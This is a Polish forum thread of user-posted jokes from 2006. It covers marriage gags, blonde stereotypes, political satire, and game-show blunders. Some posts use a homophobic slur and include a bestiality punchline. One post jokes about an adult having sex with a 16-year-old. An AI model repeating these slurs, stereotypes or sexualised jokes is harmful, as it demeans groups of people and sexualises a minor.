-Mój mąż to jest w lózku jak PORSCHE!!! Szybki,wygodny,niedozajeżdzenia!!! Poprostu najlepszy!!
Druga mówi:
-A mój to jak BMW!!! Również szybki, komfortowy, bardzo dobrze trzyma się drogi !!! Cacko!!!
Na to trzecia:
-A mój to jak POLONEZ!!!!
Pierwsza i druga zaskoczone pytają się z ciekawością co jest przyczyną tak niskiej oceny!!!
Na to trzecia:
-Bez ssania nie pojedzie!!!!!!!!!!!!!!!!!!!!

bann - 13-10-2006, 22:07

http://f1.wyscigi.info/a,745,Dowcipy,o,Kubicy.asp
Tomek Radomski - 14-10-2006, 13:13

Wraca pijany facet nad ranem do domu.
W drzwiach, z wałkiem w ręku, czeka na niego żona, wścieklejsza od krowy z BSE.
A mąż:
- Od kiedy mamy sztywne łącze, to Ty nic, tylko czatujesz i czatujesz.
Za robotę się weź !

IRA - 19-10-2006, 15:20

Karol i Hela spędzają powtórny miodowy miesiąc, na uczczenie 40-tej rocznicy ślubu. Lecą sobie do Australii. Nagle głos pilota:
- Drodzy pasażerowie, silniki odmówiły posłuszeństwa. Możemy lądować awaryjnie na wyspie przed nami, ale prawdopodobieństwo że ktoś nas odnajdzie, jest równe zeru. Dziękujemy za wyrozumiałość.
Karol drapie się w głowę i mówi do Heli:
- Kochanie, opłaciłaś rachunki za mieszkanie?
- Tak najmilszy, uregulowałam tuż przed wyjazdem.
- A za telefony?
- Też zapłaciłam, najdroższy.
Karol myśli, myśli, myśli...
- A ZUSy nasze popłaciłaś?
- O Boże, kochanie, na śmierć zapomniałam! Och dowalą nam karę!
Karol całuję ją tak, jak nie całował od lat 30-tu, śmieje się, wrzeszczy jak wariat:
- Przeżyjemy!!! Znajdą nas!!! Te sk........ znajdą nas, nawet na końcu świata!!!!

Te_Pe - 03-11-2006, 11:28

Biatlonistka Małgorzata Ruchała:

"Na pewno po ślubie nie będę nosiła podwójnego nazwiska,
bo mój narzeczony nazywa się Piotr Bosko"

bann - 03-11-2006, 17:55

Najpierw Bóg stworzył mężczyznę w Rajskim swym Ogrodzie pomyślał, "Muszę stworzyć, coś, co w życiu tobie pomoże"
Tak powstał projekt wielki, piękniejszy od bursztyna.
Przed oczyma mężczyzny pojawiła się dziewczyna.
Dwie piękne nogi, długie i aksamitne delikatne i gładkie, można rzec wybitne.
Przepiękne bioderka o kształcie pożądanym, by mężczyzna wiedział, że jest przez Boga wybranym.
Dwie cudne piersi, pełne i soczyste, tworzące w myślach mężczyzny, marzenia nieczyste.
Ukochane ręce, idealne do przytulania i dwie kochające dłonie, do głaskania i całowania.
Pęk długich i jasnych włosów, do ramion sięgających
I para oczu, zawsze czułych i wielbiących.


Stworzył to Bóg dla mężczyzny, by serce jego śpiewało.
Dodał jeszcze usta ... i wszystko się zepsuło ..."

======

W izolatce rozlega sie dzwonek telefonu komórkowego.
Mezczyzna podnosi sie z lózka i siega do szafki.
- Czy pan Kowalski ? - rozlega sie glos w sluchawce
- Tak.
- Mówi ordynator oddzialu zakaznego prof. Kwiatkowski. Drogi panie mam juz wyniki panskich badan. Jest pan chory na blonice, borelioze,cholere, dur brzuszny, czerwonke bakteryjna, gruzlice, kampylobakterioze, kile, krwotoczne zapalenie jelit, ospe wietrzna, chlamydioze, krztusiec, promienice, pryszczyce, nosacizne, odre, tularemie,
rzezaczke, waglik, wlosnice, wszawice, wscieklizne i AIDS.
- O Boze - krzyczy pacjent - ale chyba bedziecie mnie leczyc ?
- Aaa ? Tak, tak, oczywiscie, bedziemy. Juz nawet wyznaczylismy panu specjalna diete nalesnikowa.
- A ta dieta mi pomoze ?
- Pomoze albo nie. Skad [cenzura] mam wiedziec ? - odpowiada zly jak diabli profesor - ale nalesniki to jedyna potrawa, która zmiesci sie w szpare pod drzwiami

=====

Policjant pyta staruszkę:
- Wiek?
- 86 lat
- Czy mogłaby pani opowiedzieć swoimi słowami, co tu się właściwie wydarzyło?
- Siedziałam na ławce, na tarasie przed domem, podziwiając ciepły wiosenny wieczór, kiedy przyszedł ten młodzieniec i usiadł obok mnie.
- Znała go pani?
- Nie, ale był przyjaźnie nastawiony.
- Co stało się po tym, jak usiadł obok pani?
- Zaczął pocierać moje udo.
- Czy powstrzymała go pani?
- Nie.
- Dlaczego?
- Bo odczuwałam przyjemność. Nikt nie robił tego od czasu, kiedy mój mąż odszedł z tego świata 30 lat temu.
- Co stało się potem?
- Zaczął pieścić moje piersi.
- Czy próbowała go pani powstrzymać?
- Nie.
- Dlaczego?
- Mój Boże, dlaczego? Było mi tak dobrze. Czułam, że naprawdę żyje. Od lat tak się nie czułam!
- Co stało się później?
- Cóż, rozpalił mnie do czerwoności, więc rozłożyłam nogi i zawołałam:
"Bierz mnie, chłopcze, bierz mnie!"
- I co? Zrobił to?
- Nie, do diabla! Zawołał "Prima Aprilis!" I wtedy zastrzeliłam sukinsyna!!

=====

Pyta znajomy znajomego:
-Z kim jedziesz nad morze w tym roku?
-Z żoną, dziećmi i z teściową.
-Z teściową? - pyta zdziwiony.
-A niech się franca do piachu przyzwyczaja.

=====

Mistrz w pchnięciu kulą do trenera:
- Dziś muszę pokazać klasę... na trybunie siedzi moja teściowa.
- E! nie dorzucisz...

=====

Młody chłopak pierze dżinsy i mruczy :
- Nikomu nie można ufać, nikomu ....
Na moment przerywa pranie :
- Nawet sobie - kontynuuje wściekły - Przecież tylko pierdnąć chciałem.

[ Dodano: Pią 03 Lis, 2006 ]
Bóg mówi do Adama
- Adam daj żebro
- Nie dam!
- No Adam dajjj
- Nie dam
- No proszę Adam daj
- Nie dam, mam jakieś złe przeczucie

Efraim Ryba - 05-11-2006, 13:28

Na stację benzynową podjeżdża samochód. Facet obsługujący pompę widzi na tylnym siedzeniu auta dwa pingwiny. Zaskoczony pyta kierowcę:
- Co robią tu te dwa pingwiny?
- Znalazłem je i nie wiem, co z nimi zrobić.
Pompowy bez namysłu odpowiada:
- Powinien je pan zawieźć do zoo.
- O, to doskonały pomysł, dziękuję!
I zadowolony kierowca odjechał. Następnego dnia znów pojawia się na stacji, a na tylnym siedzeniu jego auta siedzą te same pingwiny. Pracownik stacji mówi:
- Hej, myślałem, że zabrał je pan do zoo.
- Zabrałem, zabrałem! Spędziliśmy wspaniały dzień. Dzisiaj idziemy na plażę.

Anja - 06-11-2006, 14:05

Syn pyta ojca:
- Tato, co to jest POLITYKA?
Ojciec odpowiada:
- Zobacz, ja przynoszę pieniądze do domu, więc jestem KAPITALISTĄ, Twoja mama rządzi tymi pieniędzmi, więc jest RZĄDEM, dziadek uważa, żeby wszystko było na swoim miejscu, więc jest ZWIĄZKIEM ZAWODOWYM, nasz pokojówka jest KLASĄ ROBOTNICZĄ, a wszyscy mamy jeden cel, aby się Tobie lepiej wiodło! Ty jesteś LUDEM, a Twój młodszy brat, który leży jeszcze w pieluchach jest PRZYSZŁOŚCIĄ!!! Zrozumiałeś synku???
Chłopiec zastanawia się i mówi, że musi się z tym wszystkim jeszcze przespać. W nocy budzi chłopca płacz młodszego brata, który narobił w pieluchy i drze się wniebogłosy. A, że chłopiec nie wiedział co ma zrobić, poszedł do pokoju rodziców. W pokoju była tylko mama, ale spała tak mocno, że nie mógł jej dobudzić, więc poszedł do pokoju pokojówki, gdzie akurat zabawiał się z nią ojciec, a dziadek podglądał ich przez okno. Wszyscy byli tak sobą zajęci, że nie zauważyli, że chłopiec jest w pokoju. Malec postanowił więc, że pójdzie spać i o wszystkim zapomni. Rano ojciec pyta go:
- Synku, możesz mi powiedzieć własnymi słowami co to jest POLITYKA??
- TAK!!! - odpowiada syn. - KAPITALIZM wykorzystuje KLASĘ ROBOTNICZĄ, ZWIĄZKI ZAWODOWE się temu przyglądają, podczas gdy RZĄD śpi, LUD jest całkowicie ignorowany, a PRZYSZŁOŚĆ leży w gównie!!! TO JEST POLITYKA!!!

----------------------------------

Wielki, ogromny, wielopiętrowy supermarket, w którym kupicie wszystko. Szef przyjmuje do pracy nowego sprzedawcę, dając mu jeden dzień okresu próbnego żeby go przetestować.
Po zamknięciu wzywa szef nowego sprzedawcę do biura:
- No to ile dziś zrobił pan transakcji? - pyta sprzedawcę.
- Jedną, szefie.
- Co? Jedną?! Nasi sprzedawcy mają średnio od sześćdziesięciu do siedemdziesięciu transakcji w ciągu dnia! Co pan robił przez cały dzień? A właściwie to ile pan utargował?
- Trzysta osiemdziesiąt tysięcy dolarów.
Szefa zatkało.
- Trzy... sta osiem... dziesiąt tysięcy? Na Boga, co pan sprzedał?!
- No, na początku sprzedałem mały haczyk na ryby...
- Haczyk na ryby? Za trzysta osiemdziesiąt tysięcy?
- Potem przekonałem klienta żeby wziął jeszcze średni i duży haczyk. Następnie przekonałem go, że powinien wziąć jeszcze żyłkę. Sprzedałem mu trzy rodzaje: cienką, średnią i grubą. Wdaliśmy się w rozmowę. Spytałem gdzie będzie łowić. Powiedział, że na Missouri, dwadzieścia mil na północ. W związku z tym sprzedałem mu jeszcze porządną wiatrówkę, nieprzemakalne spodnie i rybackie gumowce, ponieważ tam mocno wieje. Przekonałem go, że na brzegu ryby nie biorą, no i tak poszliśmy wybrać łódź motorową. Spytałem go jakie ma auto i wydusiłem z niego, że dość małe aby odwieźć łódź, w związku z czym sprzedałem mu przyczepę.
- I wszystko to sprzedał pan człowiekowi, który przyszedł sobie kupić jeden, jedyny haczyk na ryby?!
- Nieee. On przyszedł z zamiarem kupienia podpasek dla swojej żony. Zaproponowałem mu, że skoro w weekend nici z seksu to może pojechałby przynajmniej na ryby...
_________________

amalcz - 09-11-2006, 09:33

najbardziej miazdzace odpowiedzi z teleturniejow

************************
(Najsłabsze Ogniwo)
Pytanie: Jaką wspólną nazwę noszą popularny batonik i rzymski bóg wojny?
Odpowiedź: Snickers

(N.O)
Pyt: Jaką literę przypominają krzywe nogi?
Odp: L

(N.O)
P: Kogo pokonali Grecy w finale Euro 2004?
O: Nikogo. Wygrali.

P: Jakiego koloru jest sroka?
O: czerwono-żółta.

P: Ile par oczu ma mucha?
O: sto milionów

P: Rodzaj potwora?
O: Kangur.

(Familiada)
P: Potrawa z warzyw?
O: Kalafior.

P: Wymień soczysty owoc?
O: Banan.

(1z10)
P: Z czym można puścić zrujnowanego bankiera?
O: z dymem.

P: Z którego miejsca na Ziemi wszędzie jest na północ?
O: Wszystkie drogi prowadzą do Rzymu.

(N.O)
P: Kupa lub beczka?
O: (chwila ciszy...) - beczka!
P: nie, smiechu.

P: Jakim gazem były napełniane sterowce?
O: gazem musztardowym.

(F)
P: Kto spełnia życzenia
O: BYK.

(N.O)
P: Jakim językiem posługuje się większość mieszkańców czeskiej pragi?
O: Nie mam pojęcia.

(N.O)
P: Po jakiej orbicie krąży Księżyc wokół Ziemi?
O: Księżyc nie krąży wokół Ziemi.

P: Jak nazywa się najstarsze drzewo w Polsce?
O: Baobab.
P: Ja się nie pytam jakie zwierzątko ma pan w domu. Podpowiem, że to jest
dąb, proszę powiedzieć jak ma na imię.
O: Zenon.

(1z10)
P: Kto gra rolę Podstoliny w Zemście?
O: Janusz Gajos.

(1z10)
P: Jaka trwa teraz era geologiczna?
O: Atomowa.

(N.O.)
P: Jaka jest wspólna nazwa dla pocisku do kuszy i taniego wina?
O: Jabol.

(N.O.)
P: Kraj w Ameryce Południowej, który jest synonimem chaosu.
O: Harmider.

(N.O.)
P: Nazwa stworzenia, które może mieszkać w nosie.
O: Gil.
P: Widzę, że znasz się na tej dziedzinie, może wymienisz inne zwierzę które
mozna mieć w nosie?
O: (pewny siebie) - Koza!
P: Jesteś prawdziwym specjalistą w tym temacie.
( chodziło oczywiście o muchy w nosie)

P: Zwierzę na literę "M"?
O: Miś!

P: Zielony barwnik obecny w roślinach?
O: Mech.

(F)
P: Coś kwaśnego?
O: Kwas solny.

(1z10)
P: Ile skrzydeł mają pszczoły?
O: Pszczoły nie mają skrzydeł.

(1z10)
P: Nazwa miasta w Polsce, ryba, narzędzie stolarskie. Jaką wspólną nazwę
mają te trzy rzeczy?
O: STRUG!

(1z10)
P: Kto spotkał 7 krasnoludków - królewna śnieżka, czy śpiąca królewna?
O: Sierotka Marysia.

P: Największy polski gryzoń?
O: Żubr.

(1z10)
P: Z ilu pieśni składa się biblijna księga Psalmów?
O: Z pieśni nad pieśniami.

(F)
P: Czym się bawią dzieci w piaskownicy?
O: Przewracają się.

(1z10)
P: Jak się nazywa zwierzę żyjące na ziemi, które osiąga 30 metrów długości?
O: Żyrafa.

(1z10)
P: W spodniach albo na świadectwie?
O: Pała

(Va Bank)
P: Mówimy tak, gdy ktoś nie orientuje się, nie zna się w danym temacie.
O: Co to znaczy pieprzyć androny!

(VB)
P: Szkielet jakiego zwierzęcia często spotykamy w łazience?
O: Czym jest PIES.
(chodziło o gąbkę)

(1z10)
P: Czy diplodok żyje obecnie?
O: Tak.

(1z10)
P: Główni bohaterowie "Nocy i dni"
O: Jan i Bogumił.
P: To byłoby takie nowoczesne małżeństwo.

P:Jaką nazwę nosi najsławniejszy polski żaglowiec?
O: Kusznierewicz.

(F)
P: Co robią koty?
O: Skakają.

bann - 10-11-2006, 21:09

Mały chłopczyk wraz z tatusiem znalazł w lesie jeżyka. Lezał biedak pod
kępką trawy i drżał z zimna. Chłopczykowi zrobiło sie żal jeżyka i
poprosil tatę, aby zabrali zwierzaka do domu. Tata sie zgodził i jeżyk
zamieszkał u nich. Chłopczyk bardzo dbał o zwierzaka. Poił go mleczkiem
i karmił pędrakami. Jeżyk zjadał je ze smakiem i czasem ku zdziwieniu
chłopca ,pomrukiwał z zadowolenia. Na zimę jeżyk, jak przystało na
wszystkie porządne jeżyki, zapadł w sen zimowy. A na wiosnę jeżykowi
urosły skrzydełka,a na czole róg. W koncu wyleciał on przez
niedomknięte okno. Wtedy stało się jasne, że chłopiec wraz z tatusiem
nie przynieśli z lasu jeżyka, tylko jakieś ch.uj wie co...

====

Żona otwiera drzwi, a tam mąż stoi z owcą pod pachą i mówi:
- To jest ta świnia którą posuwam!
Na to żona:
- Ty idioto! To nie świnia tylko owca!
- Zamknij się do owcy mówiłem!!

wrobel.cwirek - 13-11-2006, 08:57

Rosjanie wysłali na orbitę małpę. Tak ja wytresowali, ze gdy pokazali jej plansze z bananem to nacisnęła on czerwony przycisk, który uruchomił silniki hamujące i sprowadził lądownik na Ziemie.

Amerykanie pozazdrościli sukcesu i wysłali człowieka. Łączą się z nim radiowo i pytają:
- Wszystko w porządku?
- Tak!
- To naciśnij czerwony przycisk i wtedy rakieta wyląduje na Ziemi.

Polacy pozazdrościli sukcesów Rosjanom i Amerykanom, i wysłali na orbitę Polaka i dwie świnie. Łącza się z nim radiowo i pytają:
- Wszystko w porządku?
- Tak!
- To nakarm świnie i NICZEGO nie dotykaj!!!!

ania1311 - 14-11-2006, 13:19

> > Na łożu śmierci leży 80-latek kochany mąż, ojciec i dziadek. To jego
> > ostatnie chwile przy życiu. Dokoła zebrała się cała rodzina.
> >
> > Żona, wszystkie dzieci, wnuki oraz kilka prawnucząt. Wszyscy w milczeniu
> > wpatrują się w sufit, tudzież w podłogę, czekając na zbliżającą się
> > chwilę... Aż nagle cisze przerywa dziadek i rzecze:
> >
> > - Zdradzę wam swój największy sekret. Ja naprawdę nie chciałem się żenić i
> > zakładać rodziny. Miałem wszystko. Szybkie samochody, piękne kobiety, sporo
> > przyjaciół i kasę na koncie. Ale pewnego wieczora znajomy rzekł do mnie:
> > Ożeń się i załóż rodzinę. Bo nie będzie ci miał
> > kto podać szklanki wody, kiedy będzie ci się chciało pić na łożu śmierci.
> > Od tego momentu słowa te nie dawały mi spokoju. Postanowiłem radykalnie
> > zmienić swoje życie i ożenić się. Skończyły się wyskoki z kolegami na piwo.
> > Teraz wyskakiwałem tylko do nocnego po gerberki dla was, dzieci moje.
> > Wieczorne dyskoteki z dziewczynami, zamieniły się w wieczorne oglądanie
> > seriali w żoną.
> >
> > Pieniądze z konta zostały rozrwonione na fundusze inwestycyjne dla was
> > kochane dzieci. Tamte dni sprzed
> > małżeństwa odeszły jak wiatr. I teraz kiedy leżę na łożu śmierci, wiecie co
> > - Co?? - wszyscy zdumieni wpatrują się w staruszka
> > - No, nie chce mi się kur... pić!!

Spaniel - 15-11-2006, 14:59

Pamiętam mój "pierwszy raz" z kondomem, miałem 16 lat albo coś około.
Poszedłem do sklepu kupić paczkę prezerwatyw. Za ladą stała przepiękna kobieta, która najprawdopodobniej wiedziała, że nie mam doświadczenia w "tych" kwestiach. Podała mi paczkę i zapytała, czy wiem, jak tego używać.
Szczerze odparłem: nie.
Tak więc otworzyła paczkę, wyjęła jednego i rozwinęła na kciuku, po czym poleciła sprawdzić, czy jest na miejscu i czy mocno się trzyma.
Najprawdopodobniej musiałem wyglądać na osobę, która nie do końca zrozumiała to, co powiedziała, więc rozejrzała się po sklepie, podeszła do drzwi i zamknęła je.
Chwyciła mnie za rękę i wciągnęła na zaplecze, gdzie zdjęła z siebie bluzkę. Po chwili zdjęła też stanik. Spojrzała na mnie i zapytała: Czy to cię podnieca?
No cóż, byłem tak zaskoczony tym wszystkim, że tylko kiwnąłem głową. Wtedy powiedziała, że czas nałożyć prezerwatywę.
Kiedy ją nakładałem, ona zrzuciła spódniczkę, zdjęła majteczki i położyła się na stole.
No dawaj, powiedziała, nie mamy zbyt wiele czasu.
Tak więc położyłem się na niej. To było cudowne, szkoda, że nie wytrzymałem zbyt długo... PUF, i było po sprawie... Spojrzała się na mnie przerażona:
"jesteś pewien, że nałożyłeś prezerwatywę?"
Odpowiedziałem tylko no pewnie, i podniosłem kciuk, by jej pokazać.

bann - 15-11-2006, 21:34

Naukowcy skrzyżowali złotą rybkę z rekinem - spełnia ostatnie trzy zyczenia

====
Pielęgniarka mówi do lekarza:

- Panie doktorze, ten symulant spod trójki umarł dziś w nocy.

- No, tym razem to już przesadził...

====

Pyt: idzie sobie trzech posłów w długich płaszczach, po czym poznać, że jeden z nich jest z Samoobrony?

Odp: jeden ma płaszcz wpuszczony w spodnie.

====

Chłopak do dziewczyny:

- Kochanie chodź pójdziemy poogladac gwiazdy!

- Bez prezerwatywy, nie będę ogladac

Habibi - 17-11-2006, 22:31

Dwoch juhasow znalazlo jeza no i kloca sie o nazwe tego zwierzaka.
-To je iglok!
-To je spilok!
Przechodzacy baca uslyszal ich klotnie.Podszedl i zawyrokowal:
-to nie je ani iglok ani spilok.
-to je kolcok!!!!!!!

Edi - 25-11-2006, 16:13

Rusałeczka przypływa do swojego Ojca-Wodnika i mówi:
-Tata, tata, dlaczego ludzie są tacy okrutni? Dzisiaj widziałam, jak przywiązali do linki zwierzątko i cały dzień ciągali je po dnie!
- No i cóż zrobiłaś, córeńko?
- Przecięłam linkę i zwierzątko spokojnie położyło się spać na dnie.
- Zuch, córeczka! Ale więcej tak nie rób - to był nurek!

Efraim Ryba - 26-11-2006, 09:20

Blondynka kupiła sobie sportowy wózek - Porshe. Już na pierwszej przejażdżce zajechała drogę wielkiej ciężarówie. Pisk opon... dym spod kół, wziuuu... trzask, prask i naczepa w rowie... Porszak zdążył szczęśliwie wyhamować, za kółkiem siedzi zblazowana blondi typu "no co, przecież nic się nie stało". Z kabinki Scanii wygramolił się mocno zdenerwowany szofer, wyciągnął z kieszeni kawałek kredy i narysował kółko na asfalcie. Następnie wyciągnął blondynkę, postawił w tym kółku i krzyczy: - Stój tu pokrako i nie ruszaj się stąd!
Blondi stanęła posłusznie, a facet zabrał się za demolkę w Porszaku. Wyrwał drzwi, przednie fotele wyciepał do rowu, ogląda się za siebie... blondi nic - stoi i się uśmiecha...
- Czekaj no... - pomyślał facet wyciągając majcher.
Spruł dokładnie tapicerkę, podziurawił opony, ogląda się za siebie, blondynka chichoce...
- Zaraz cię jeszcze bardziej rozbawię...
Facet poleciał po kanister, oblał Porszaka i podpalił grata. Wraca do blondynki, a ta wciąż stoi, tylko buźka jej śmieje:
- Hihi... haha... hihiii...
- No i co w tym takiego śmiesznego? - pyta facet.
- Hihi... a bo jak pan nie patrzył, to ja wyskakiwałam z tego kółka...

tsharny - 27-11-2006, 14:43

Kaczyński z wizytą u Benedykta. Jest miło i sympatycznie Benedykt pyta:
B: A jak tam u Was po wyborach
K: Wszystko w jak najlepszym porządku Ojcze św. Wyborcy zadowoleni i
szczęśliwi. Mówią że takiej Polski chcieli Ojciec święty pokiwał głową
uśmiechnął się i pokazał Kaczorowi 6 palców.
B: A jak tam u Was z bezrobociem
K: Doskonale Ojcze święty. Jest tak dobrze że młodzi ludzie już zaczynają
wracać do kraju z emigracji. Zarobki super, pracodawcy gwarantują doskonałe
warunki zatrudnienia.
Ojciec święty znów pokiwał głową uśmiechnął się i pokazał Kaczorowi 6 palców
B: A co w szkolnictwie?
K: Wspaniale. Minister sprawdził się doskonale. Dzieciaki zadowolone chcą
nawet w sobotę i niedzielę chodzić do szkoły.
Ojciec święty pokiwał głową uśmiechnął się i znów pokazał Kaczorowi 6
palców.
Wizyta się zakończyła Kaczyński wrócił do Polski i swych obowiązków.
Jednak sprawa pokazywanych 6 palców nie dawała mu spokoju.
Wybrał się więc do Glempa i pyta:
K: Prymasie byłem u papieża opowiadałem mu co w kraju, a ten na każdą moją
odpowiedź pokazywał mi 6 palców. Co to znaczy?
G: Jak to, ty katolik i nie wiesz że chodzi o 6 przykazanie:
Nie cudzołóż.
K: Nie cudzołóż? A jak to się ma do mnie?
G: A co miał powiedzieć NIE a fee!!??

The_PiotREX - 27-11-2006, 15:07

Nie rozumiem :(
Mania - 27-11-2006, 15:24

A to proste...
jakim jeszcze innym slowem mozna powiedzien "nie cudzoloz"????

Slowem, ktore znaczy takze o wiele wiecej...
:mrgreen:
Mania

nuras81 - 27-11-2006, 16:25

mowiac prosto z mostu N I E P I E R Dziel powiedzmy :mrgreen:
martusia - 27-11-2006, 23:04

The_PiotREX napisał/a:
Nie rozumiem :(

chodzi o premiera :mrgreen:

Mania - 27-11-2006, 23:53

sorki, ze w langlydzu, ale nie chce mi sie tlumaczyc....

A Blonde's Year in Review

January - Took new scarf back to store because it was
too tight

February - Fired from pharmacy job for failing to
print labels ...Helllooo!!! ... bottles won't fit in
typewriter!!!

March - Got really excited.....finished jigsaw puzzle
in 6 months.....box said "2-4 years!"

April - Trapped on the Macy's escalator for hours
after the power went out!!

May - Tried to make Kool-Aid.....wrong
instructions.....8 cups of water won't fit into those
little packets!!!

June - Tried to go water skiing.....couldn't find a
lake with a slope.

July -Lost breast stroke swimming competition .....
learned later, the other swimmers cheated, they used
their arms!!!

August - Got locked out of my car in rain storm
....car swamped because soft- top was open.

September - The capital of California is "C".....isn't
it???

October - Hate M&M's.....they are so hard to peel.

November - Baked turkey for 4 1/2
days.....instructions said 1 hour per pound and I
weigh 108!!!

December - Couldn't call 911....."duh".....there's no
"eleven" button on the stupid phone!!!

What a year!!

:22:

nuras5 - 28-11-2006, 09:00

Podział szefów
>Szefów dzielimy na 5 grup:
>1. Pedałów.
>2. Superpedałów.
>3. Antypedałów.
>4. Pedałów-magików.
>5. Pedałów-pirotechników.

Dlaczego?

>Szef pedał mówi: "Ja Cię Kowalski wy.ierdolę..."
>Szef superpedał mówi: "Ja Was wszystkich wy.ierdolę".
>Szef antypedał mówi: "Ja się Kowalski z Tobą .ierdolić nie będę"
>Szef pedał-magik mówi: "Ja Cię Kowalski tak wy.ierdolę, że ty nawet nie zauważysz kiedy"
>Szef pedał-pirotechnik mówi: "Ja Cię Kowalski wy.ierdolę z hukiem".

bann - 30-11-2006, 06:38

Babcie łowcy krzeseł - gdy autobus się zatrzyma i otworzy drzwi, ty nawet nie zdążysz sobie tego uświadomić, a ona już siedzi.


Babcie akrobatki - widząc wolne krzesło po drugiej stronie autobusu w cudowny sposób odzyskują mobilność, wrzucają laskę pod pachę i biegną do krzesła co sił w nogach.


Borostwory - ogromne babcie w futrzanych płaszczach zajmujące z reguły 1,5 - 2 miejsc siedzących. A niejako przeciwieństwem borostworów zajmujących dwa miejsca są babcie towarzyskie, które koniecznie muszą zmieścić się koło osoby siedzącej w Manie na tzw. "półtoraku". Bardzo ciekawa jest obserwacja jak one próbują tam usiąść. Najpierw siadają bokiem na samym brzegu, potem powoli wykonują obrót o 90 stopni i wtedy dociskają drugą osobę do okna. W przypadku siedzenia na podeście cały czas trwa walka o utrzymanie tyłka na miejscu podczas zakrętów.


Babcie wilki - atakują watahą, ich szczekanie rozlega się na cały autobus i wygryzają każdego z ich siedzeń;

Babcie lokomotywy - jak siedzisz w autobusie, staja nad Tobą i zaczynają sapać. Niektóre sapią tak intensywnie, ze czujesz co jadła kilka godzin temu... Szczególną odmianą jest babcia Lord Vader. Sapie w szczególnie niemiły, metaliczny sposób. Człowiek tylko czeka na moment kiedy zadusi go posługując się ciemną stroną mocy.

Babcie ankieterki - na kilka przystanków przed ich docelowym przepytują ludzi, kto kiedy wysiada i starają się odpowiednio ustawić wszystkich w przejściu.

Babcia "Last Minute" - nie wstanie przed swoim przystankiem, ale siedzi twardo do samego końca i podrywa dupsko i przebija się do wyjścia jak kula armatnia dopiero wtedy, gdy ludzie zaczynają (na jej przystanku) wsiadać do transportera.


Babcia "Dromader" - widywane niegdyś w dużych ilościach koło HIT'a w '128'. W busie najpierw ląduje ciężko jedna pełna siata, potem druga, na końcu tarabani się staruszka wciągając za sobą wyładowany wózeczek. Potem przewala się z tym wszystkim jak walec przez zatłoczony autobus. Zawartość siat stanowi zazwyczaj jakieś 20 kilogramów cukru lub tyle samo mąki, woda w pięciolitrowych butlach i inna masówka, zakupiona zapewne dla całej kamienicy. Mi by się nie chciało tachać tych kilogramów, więc uważam, że tym babciom nie należy ustępować miejsca.


Babcia "Predator" - najbardziej obrzydliwy, wredny typ. Pokonuje nieraz spore dystanse do przystanku, ale już w busie czy tramwaju nie jest w stanie przejśc tych 6 metrów do wolnego miejsca, tylko staje nad kimś młodszym i terroryzuje go. Biedni młodzi ludzie kierując się kindersztubą ustępują grzecznie i przenoszą się gdzie indziej. A to jest błąd! Takiej babci trzeba wymownym wzrokiem pokazać wolne miejsce.


Babcie - siatomioty - wsiada sobie taka jedna do autobusu (ew. tramwaju), czujnym zwinnym okiem namierzając pozycję wolnego krzesła oraz najbliższego kasownika. Po przekalkulowaniu i zrobieniu symulacji (chodzi o trójwymiarową symulację ruchu współpasażerów w najbliższych 10 sekundach nałożoną na plan przestrzenny krzesło-kasownik-własna pozycja) rzuca siatą w stronę wolnego krzesła a sama kasuje bilet. Po czym z godnością zdejmuje siaty z siedzenia, żeby rozgościć się na wcześniej zarezerwowanym miejscu. Dotychczasowy rekord dzierży babcia, która po wtoczeniu się do starego Jelcza (a profilaktycznie zrobiła to dość głośno) miotnęła przed nosem współpasażerów solidnie wyglądającą siatą z co najmniej 5 kilogramami cukru/mąki/innego popakowanego badziewia na dobre trzy metry. Byli pod wrażeniem, szczególnie, że nie potrzebowała do tego zbyt wielkiego zamachu.

styx - 30-11-2006, 15:53

Nie radzisz sobie ze stresem? Wkurzyła Cię jakaś menda? Jest sposób na ukojenie nerwów...

Wyobraź sobie siebie nad strumieniem. Ptaki ćwierkają w rześkim, górskim powietrzu. Nic Cię nie rozprasza. Jesteś całkowicie oddzielony od tego, co nazywamy "światem zewnętrznym". Cichy dźwięk wody z oddalonego wodospadu spada łagodna kaskada . Woda w strumieniu jest idealnie przejrzysta. Bez trudu dostrzegasz twarz osoby, którą trzymasz pod woda...

KasiaK - 30-11-2006, 16:08

styx napisał/a:
Nie radzisz sobie ze stresem? Wkurzyła Cię jakaś menda? Jest sposób na ukojenie nerwów...

Wyobraź sobie siebie nad strumieniem. Ptaki ćwierkają w rześkim, górskim powietrzu. Nic Cię nie rozprasza. Jesteś całkowicie oddzielony od tego, co nazywamy "światem zewnętrznym". Cichy dźwięk wody z oddalonego wodospadu spada łagodna kaskada . Woda w strumieniu jest idealnie przejrzysta. Bez trudu dostrzegasz twarz osoby, którą trzymasz pod woda...


hehehhhehehheheheeh
o kurde!
aktualnie by mi rak zabrakło :lol:

KLeszek - 30-11-2006, 20:08

nie widziałem.... wklejam

Jasio prosi mame:
- Mamusiu, kup mi rower.
- Nie synku. Rower jest bardzo drogi. Nie kupie ci. A poza tym byles
niegrzeczny i nie zasluzyles.
- Mamusiu to pobaw sie chociaz ze mna!
- No, pobawic to sie moge. A w co chcialbys sie pobawic, Jasiu? - pyta
mama.
- Pobawmy sie w mamusie i tatusia. Idz do sypialni i czekaj na mnie mamo.
Zaintrygowana mama przebrala sie w pizame i lezy w lózeczku. Wchodzi
Jasio z rekami zalozonymi z tylu chodzi z kata w kat i w pewnym momencie
mówi:
- Wstawaj, stara, idziemy malemu rower kupic.

martin - 30-11-2006, 21:26

Tatuś tłumaczy synkowi zasady urozmaiconego pożycia seksualnego. Gestykuluje, miota się po podłodze, wygina niewidzialną partnerkę na wszystkie strony, obrazowo ze szczegółami przedstawia każdą możliwą i niemożliwą pozycję. Synek tymczasem siedzi skulony na fotelu, czerwony jak burak, uszy mu płoną, rumieńce wypełzły na buzię, głowę coraz bardziej wtula w ramiona, jeszcze trochę i zemdleje. W końcu udaje mu się przerwać oszalałemu rodzicowi i mówi: - Ale tatusiu, przestań już proszę! Mówiłem ci, że mam jutro w szkole historię, wiesz wojny, zabory i takie tam, a ty miałeś mi tylko wytłumaczyć co to jest NAJEŹDŹCA!!!
KLeszek - 30-11-2006, 22:06

hehe.

To mi przypomina taką historyjkę obrazkową (stripe).

Opiszę:
1. Kot mówi do kotki
To może dzisiaj Kochanie na jeźdźca? :zak: :usc:

2. Jaki najeźdźca - pyta kotka

3. Germański !@#!$ oprawca!!!!! :maniac:

WaldDb - 30-11-2006, 22:10

Kiedy miałem 14 lat miałem nadzieję, że kiedyś będę miał dziewczynę.

Kiedy miałem 16 lat, miałem dziewczynę, ale była beznamiętna. Więc zdecydowałem, że potrzebuję dziewczyny z uczuciami.

